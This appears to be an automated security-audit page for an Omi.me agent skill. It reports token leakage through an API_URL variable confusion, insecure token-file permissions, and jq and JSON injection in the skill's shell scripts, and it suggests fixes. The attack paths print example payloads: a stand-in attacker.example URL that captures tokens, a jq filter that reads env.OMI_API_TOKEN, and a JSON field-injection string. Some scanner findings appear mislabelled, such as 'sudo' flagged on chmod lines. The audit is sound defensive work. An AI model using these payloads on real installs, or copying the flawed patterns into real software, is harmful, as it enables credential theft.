Back to skill

Security audit

Omi Me

Security checks for vulnerabilities and agentic risk

Overview

This skill is a plausible Omi.me integration, but its shell scripts handle API tokens and request destinations unsafely enough that users should review it before installing.

Install only if you are comfortable reviewing or fixing the shell scripts first. At minimum, replace API_URL with OMI_API_URL, avoid printing the token, set ~/.config/omi-me to 700 and the token file to 600 on every write path, and treat delete/sync commands as sensitive operations over your Omi.me memories, tasks, and conversations.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/omi-cli.sh:5
Finding
Bearer Token Disclosure Through API Endpoint Variable Confusion<![CDATA[ ## Vulnerability Details **File Location**: `scripts/omi-cli.sh`, lines 5 and 16–25 **Vulnerability Type**: API endpoint injection and credential disclosure **Risk Level**: High ### Vulnerable Code ```bash export OMI_API_URL="${OMI_API_URL:-https://api.omi.me/v1/dev}" ``` ```bash omi_api() { local method="$1" local endpoint="$2" local data="$3" curl -s -X "$method" \ -H "Authorization: Bearer $OMI_API_TOKEN" \ -H "Content-Type: application/json" \ "${API_URL}/$endpoint" \ ${data:+-d "$data"} } ``` ### Technical Analysis The script initializes and documents `OMI_API_URL`, but `omi_api` sends requests through the different variable `API_URL`. The latter is neither initialized nor validated by the script. When `API_URL` is unset, requests are malformed and the CLI does not reach the intended Omi API. More critically, when an inherited environment variable named `API_URL` exists, its value controls the destination receiving the `Authorization: Bearer` header. Because the bearer token is attached before the destination is validated, an attacker who can influence the environment of the CLI process can redirect authenticated requests to an attacker-controlled HTTPS server. The documented `OMI_API_URL` restriction does not protect these calls because that variable is never used by `omi_api`. ### Attack Path 1. The attacker influences a wrapper, launcher, CI job, shell profile, or service environment used to invoke the Skill. 2. The attacker sets: ```bash export API_URL="https://attacker.example/collect" ``` 3. A user or agent invokes an API operation such as: ```bash omi memories list ``` 4. The script constructs a request to: ```text https://attacker.example/collect/user/memories ``` 5. Curl sends the victim's Omi bearer token in the `Authorization` header. 6. The attacker captures the token and uses it directly against the legitimate Omi API. ### Impact Assessment The ...[truncated 452 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Replace `"${API_URL}/$endpoint"` with `"${OMI_API_URL}/$endpoint"`. - Normalize and validate the configured URL before sending credentials. - Restrict the endpoint to an approved HTTPS origin, preferably exactly `https://api.omi.me/v1/dev`. - If custom endpoints are required, use an explicit allowlist and require deliberate configuration. - Reject URLs containing user information, fragments, unexpected ports, or non-HTTPS schemes. - Disable unsafe redirect behavior or ensure credentials cannot be forwarded to a different origin. - Add `curl --fail --show-error` and handle non-success responses explicitly. - Clear or reject the unrelated inherited `API_URL` variable to prevent future confusion. - Add automated tests verifying that all authenticated requests go only to the configured, validated Omi endpoint. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/setup.sh:12
Finding
Environment-Sourced API Token May Be Stored with World-Readable Permissions<![CDATA[ ## Vulnerability Details **File Location**: `scripts/setup.sh`, lines 12 and 37–40 **Vulnerability Type**: Insecure credential-file permissions **Risk Level**: High ### Vulnerable Code ```bash # Create config directory mkdir -p "$CONFIG_DIR" ``` ```bash # Also check environment variable if [ -n "$OMI_API_TOKEN" ] && [ ! -f "$TOKEN_FILE" ]; then echo "✓ Using OMI_API_TOKEN from environment" echo "$OMI_API_TOKEN" > "$TOKEN_FILE" fi ``` ### Technical Analysis The automated setup path writes `OMI_API_TOKEN` into `~/.config/omi-me/token` without setting restrictive permissions on either the directory or the new file. File creation permissions are determined by the process umask. With a common umask of `022`, shell redirection creates the token file with permissions equivalent to `0644`, allowing other local users to read it when parent-directory traversal permissions permit access. The interactive token manager applies `chmod 600`, but the environment-import path in `setup.sh` omits that protection. The configuration directory is also created without an explicit `0700` mode. ### Attack Path 1. The victim runs `scripts/setup.sh` with `OMI_API_TOKEN` present in the environment. 2. No token file currently exists. 3. The setup script creates the file through shell redirection: ```bash echo "$OMI_API_TOKEN" > "$TOKEN_FILE" ``` 4. Under a permissive umask, the resulting file may be readable by other local accounts. 5. A local attacker reads: ```bash cat /home/victim/.config/omi-me/token ``` 6. The attacker uses the recovered token against the Omi API. This attack requires local filesystem access and sufficient permission to traverse the victim's home and configuration directories. ### Impact Assessment A local attacker may obtain the victim's Omi developer token and inherit all remote permissions associated with it. This can expose private memories, tasks, and conversations and may allow unauthorized creation, modification, o ...[truncated 236 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Create the configuration directory with an explicit private mode: ```bash install -d -m 700 "$CONFIG_DIR" ``` - Set a restrictive umask before creating credential files: ```bash umask 077 ``` - Write the token without interpreting escape sequences: ```bash printf '%s\n' "$OMI_API_TOKEN" > "$TOKEN_FILE" chmod 600 "$TOKEN_FILE" ``` - Prefer an atomic installation operation where supported: ```bash printf '%s\n' "$OMI_API_TOKEN" | install -m 600 /dev/stdin "$TOKEN_FILE" ``` - Verify and repair permissions even when the token file already exists. - Reject symbolic links before writing the token, or create the file atomically with no-follow semantics. - Document the required `0700` directory and `0600` file permissions. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/omi-cli.sh:83
Finding
Jq Program Injection Through Search Queries<![CDATA[ ## Vulnerability Details **File Location**: `scripts/omi-cli.sh`, lines 83–86 and 276–279 **Vulnerability Type**: Jq expression injection **Risk Level**: Medium ### Vulnerable Code ```bash search|find) if [ -z "$3" ]; then echo "Usage: omi memories search \"query\""; exit 1; fi echo "🔍 Searching memories for: $3" omi_api GET "user/memories" | jq -r ".[] | select(.content | contains(\"$3\")) | \" - \(.id): \(.content[0:70])\"" ;; ``` ```bash search|find) if [ -z "$3" ]; then echo "Usage: omi conversations search \"query\""; exit 1; fi echo "🔍 Searching conversations for: $3" omi_api GET "user/conversations" | jq -r ".[] | select(.title // \"\" | contains(\"$3\")) | \" - \(.id): \(.title // \"Untitled\")\"" ;; ``` ### Technical Analysis The user-supplied search query is interpolated directly into a double-quoted jq program. It is therefore parsed as jq source code rather than supplied as a jq string value. An input containing quotation marks, parentheses, pipes, or commas can terminate the intended `contains()` argument and append a different jq expression. This can bypass filtering, change output, trigger errors, or access jq-provided process environment data. The script exports `OMI_API_TOKEN` near its beginning. Jq exposes environment variables through its `env` object, so an injected filter can potentially print `env.OMI_API_TOKEN` to standard output. An attacker must be able to control the search argument and observe or redirect command output. ### Attack Path 1. An application, agent workflow, or wrapper passes attacker-controlled text to: ```bash omi memories search "$UNTRUSTED_QUERY" ``` 2. The attacker supplies jq syntax that closes the intended string and appends another filter, conceptually using a payload such as: ```text ")) | env.OMI_API_TOKEN, (.content | contains(" ``` 3. The shell substitutes that text into the jq source program. 4. Jq parses the injected operators as executa ...[truncated 858 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Never concatenate user input into jq source code. - Pass the query as data with `--arg` and use a static, single-quoted filter: ```bash omi_api GET "user/memories" | jq -r --arg query "$3" \ '.[] | select(.content | contains($query)) | " - \(.id): \(.content[0:70])"' ``` - Apply the same pattern to conversation searches: ```bash omi_api GET "user/conversations" | jq -r --arg query "$3" \ '.[] | select((.title // "") | contains($query)) | " - \(.id): \(.title // "Untitled")"' ``` - Avoid exporting credentials unless child processes genuinely require them. Keep the token in a shell variable where possible. - Add tests containing quotes, backslashes, jq operators, newlines, and Unicode characters. - Ensure command output containing sensitive information is not automatically logged or returned to untrusted callers. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/omi-cli.sh:65
Finding
Unsafe JSON Construction Allows Request-Body Injection<![CDATA[ ## Vulnerability Details **File Location**: `scripts/omi-cli.sh`, lines 65, 75, 129–131, 224–226, and 266 **Vulnerability Type**: JSON injection and malformed request construction **Risk Level**: Medium ### Vulnerable Code ```bash omi_api POST "user/memories" "{\"content\": \"$*\", \"type\": \"$type\"}" | omi_json ``` ```bash omi_api PATCH "user/memories/$id" "{\"content\": \"$*\"}" | omi_json ``` ```bash local data="{\"title\": \"$title\"}" [ -n "$desc" ] && data="{\"title\": \"$title\", \"description\": \"$desc\"}" [ -n "$due" ] && data=$(echo "$data" | jq -c ". + {\"due_date\": \"$due\"}") ``` ```bash local data="{\"participants\": $participants_json}" [ -n "$title" ] && data=$(echo "$data" | jq -c ". + {\"title\": \"$title\"}") [ -n "$message" ] && data=$(echo "$data" | jq -c ". + {\"initial_message\": \"$message\"}") ``` ```bash omi_api POST "messages" "{\"conversation_id\": \"$conv_id\", \"role\": \"$role\", \"content\": \"$content\"}" | omi_json ``` ### Technical Analysis Multiple commands build JSON by inserting command-line arguments directly between JSON quotation marks. User-controlled quotation marks, backslashes, control characters, and JSON delimiters are not escaped. Consequently, an argument can make the payload invalid or terminate the intended string and introduce additional JSON properties. Depending on duplicate-key handling by the remote API, injected properties may override or supplement fields chosen by the caller. Some later payload construction also interpolates values into jq program text, repeating the same data-versus-code separation error. This can cause jq parsing failures or permit jq filter manipulation when fields such as titles, descriptions, due dates, or messages originate from untrusted input. ### Attack Path 1. An agent or wrapper uses attacker-controlled content to create or update an Omi record. 2. The attacker supplies content containing JSON syntax, for example: ```text normal text", "type": " ...[truncated 1136 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Construct every request body with jq's data arguments rather than string concatenation: ```bash data=$(jq -n \ --arg content "$content" \ --arg type "$type" \ '{content: $content, type: $type}') ``` - Construct message payloads similarly: ```bash data=$(jq -n \ --arg conversation_id "$conv_id" \ --arg role "$role" \ --arg content "$content" \ '{conversation_id: $conversation_id, role: $role, content: $content}') ``` - Use `--argjson` only for values already validated as JSON. - Validate enumerated fields such as memory type, message role, task status, and date format. - Validate identifiers before appending them to endpoint paths. - Reject missing option values rather than silently shifting arguments. - Add tests for quotation marks, backslashes, newlines, control characters, and attempted nested JSON. - Treat all values originating from memories, conversations, users, or agent-generated text as untrusted. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (24)

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
The documentation and detected behavior are inconsistent, especially around credential-file access and additional operations like search and message posting. When a skill's declared purpose does not fully describe its actual capabilities, users and policy engines may underestimate what data it can access or modify.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
The documentation and detected behavior are inconsistent, especially around credential-file access and additional operations like search and message posting. When a skill's declared purpose does not fully describe its actual capabilities, users and policy engines may underestimate what data it can access or modify.

Lp3

Medium
Category
MCP Least Privilege
Confidence
96% confidence
Finding
The skill documents shell-based setup and operational commands but does not declare any explicit tool scope or permissions. In an agent environment, undeclared shell capability increases the chance that the skill can perform filesystem changes, token handling, and network actions without clear user or platform review.

Session Persistence

Medium
Category
Rogue Agent
Content
```

The setup script will:
1. Create config directory `~/.config/omi-me/`
2. Guide you to configure your API token
3. Create symlinks for `omi` and `omi-token` commands
Confidence
84% confidence
Finding
The skill intentionally persists authentication material and command symlinks under the user's home directory, creating durable state beyond a single session. Persistence is expected for integrations, but it still expands the blast radius if the host or account is later compromised.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Content
# Save your API token
echo "omi_dev_your_token_here" > ~/.config/omi-me/token
chmod 600 ~/.config/omi-me/token
```

### Get API Token
Confidence
80% confidence
Finding
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Missing User Warnings

Medium
Confidence
98% confidence
Finding
Documenting a command that prints the current API token encourages direct secret disclosure to terminal history, logs, screenshots, or agent outputs. In an agent setting, a tool that emits raw credentials can easily leak them across conversation context or telemetry.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The documentation includes memory deletion commands without warning that the operation is destructive and may be irreversible. Because this skill manages user memories, accidental invocation could cause permanent loss of high-value personal data.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
Task deletion is presented as a normal command with no caution about irreversible removal. This can lead to accidental loss of action items or workflow state, especially when operated by an autonomous agent.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
Conversation deletion is sensitive because it can erase communication history and context, yet the documentation gives no warning. In collaborative or memory-centric systems, such loss may be permanent and materially harmful.

Missing User Warnings

Medium
Confidence
97% confidence
Finding
Sync commands transfer memories, tasks, and conversations to or from a remote service, but the documentation omits privacy and data-handling warnings. Users may not realize that sensitive personal or organizational content is being transmitted and potentially persisted externally.

Session Persistence

Medium
Category
Rogue Agent
Content
omi memories list
```

**Create a memory:**
```bash
omi memories create "Caio prefers working in English" --type preference
```
Confidence
60% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

External Transmission

Medium
Category
Data Exfiltration
Content
# Load environment variables from default locations
export OMI_API_TOKEN="${OMI_API_TOKEN:-$(cat ~/.config/omi-me/token 2>/dev/null)}"
export OMI_API_URL="${OMI_API_URL:-https://api.omi.me/v1/dev}"

if [ -z "$OMI_API_TOKEN" ]; then
    echo "Error: OMI_API_TOKEN not set."
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# Load environment variables from default locations
export OMI_API_TOKEN="${OMI_API_TOKEN:-$(cat ~/.config/omi-me/token 2>/dev/null)}"
export OMI_API_URL="${OMI_API_URL:-https://api.omi.me/v1/dev}"

if [ -z "$OMI_API_TOKEN" ]; then
    echo "Error: OMI_API_TOKEN not set."
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# Load environment variables from default locations
export OMI_API_TOKEN="${OMI_API_TOKEN:-$(cat ~/.config/omi-me/token 2>/dev/null)}"
export OMI_API_URL="${OMI_API_URL:-https://api.omi.me/v1/dev}"

if [ -z "$OMI_API_TOKEN" ]; then
    echo "Error: OMI_API_TOKEN not set."
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
# Load environment variables from default locations
export OMI_API_TOKEN="${OMI_API_TOKEN:-$(cat ~/.config/omi-me/token 2>/dev/null)}"
export OMI_API_URL="${OMI_API_URL:-https://api.omi.me/v1/dev}"

if [ -z "$OMI_API_TOKEN" ]; then
    echo "Error: OMI_API_TOKEN not set."
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Intent-Code Divergence

Medium
Confidence
98% confidence
Finding
The script documents and exports OMI_API_URL, but the actual HTTP requests use API_URL instead. This mismatch can silently send authenticated requests to an unintended endpoint if API_URL is set in the environment, or fail unpredictably while giving users a false sense of control over where sensitive data is sent.

External Transmission

Medium
Category
Data Exfiltration
Content
local endpoint="$2"
    local data="$3"
    
    curl -s -X "$method" \
        -H "Authorization: Bearer $OMI_API_TOKEN" \
        -H "Content-Type: application/json" \
        "${API_URL}/$endpoint" \
Confidence
88% confidence
Finding
This function transmits user data and a bearer token to an external service via curl. In this skill context that behavior is expected, but it becomes security-relevant because the destination URL handling is flawed, so the token and memory/task/conversation contents could be sent to an attacker-controlled endpoint if API_URL is injected.

Session Persistence

Medium
Category
Rogue Agent
Content
echo "  🧠 Memories:"
        echo "    omi memories list"
        echo "    omi memories get <id>"
        echo "    omi memories create \"content\" [--type <type>]"
        echo "    omi memories update <id> \"new content\""
        echo "    omi memories delete <id>"
        echo "    omi memories search \"query\""
Confidence
60% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Context-Inappropriate Capability

Medium
Confidence
95% confidence
Finding
The `get` command prints the raw API token directly to stdout, which can leak credentials into terminal scrollback, shell history via command substitution, logs, or calling processes. A token-management helper for an integration does not need to expose the secret in plaintext to function, so this creates unnecessary credential disclosure risk.

Missing User Warnings

Medium
Confidence
97% confidence
Finding
Exposing the stored API token in plaintext without any warning makes accidental disclosure much more likely during normal use. Any local user, wrapper script, plugin, or log collector that captures stdout can obtain a bearer token and use it to access the user's Omi.me data.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
The script stores the API token unencrypted on disk in a predictable location under the user's home directory. Although `chmod 600` limits file access, plaintext storage still exposes the token to local compromise, backups, malware running as the user, or accidental disclosure, and the script does not warn the user about this tradeoff.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Content
fi
        
        echo "$TOKEN" > "$TOKEN_FILE"
        chmod 600 "$TOKEN_FILE"
        echo "✓ Token saved to $TOKEN_FILE"
        echo ""
        echo "Test your connection with: omi-token.sh test"
Confidence
80% confidence
Finding
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Content
# Check dependencies
if ! command -v jq &> /dev/null; then
    echo "⚠️  jq is not installed. Install with: sudo apt install jq"
fi

# Create _meta.json for OpenClaw skill registration
Confidence
70% confidence
Finding
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Context-Inappropriate Capability

Low
Confidence
79% confidence
Finding
The manifest describes an Omi.me integration for memories, tasks, conversations, and sync. Creating system-wide symlinks in /usr/local/bin is not part of that business purpose; it is an installation-side capability that modifies the host environment outside the skill's own config area.

Static analysis

No suspicious patterns detected.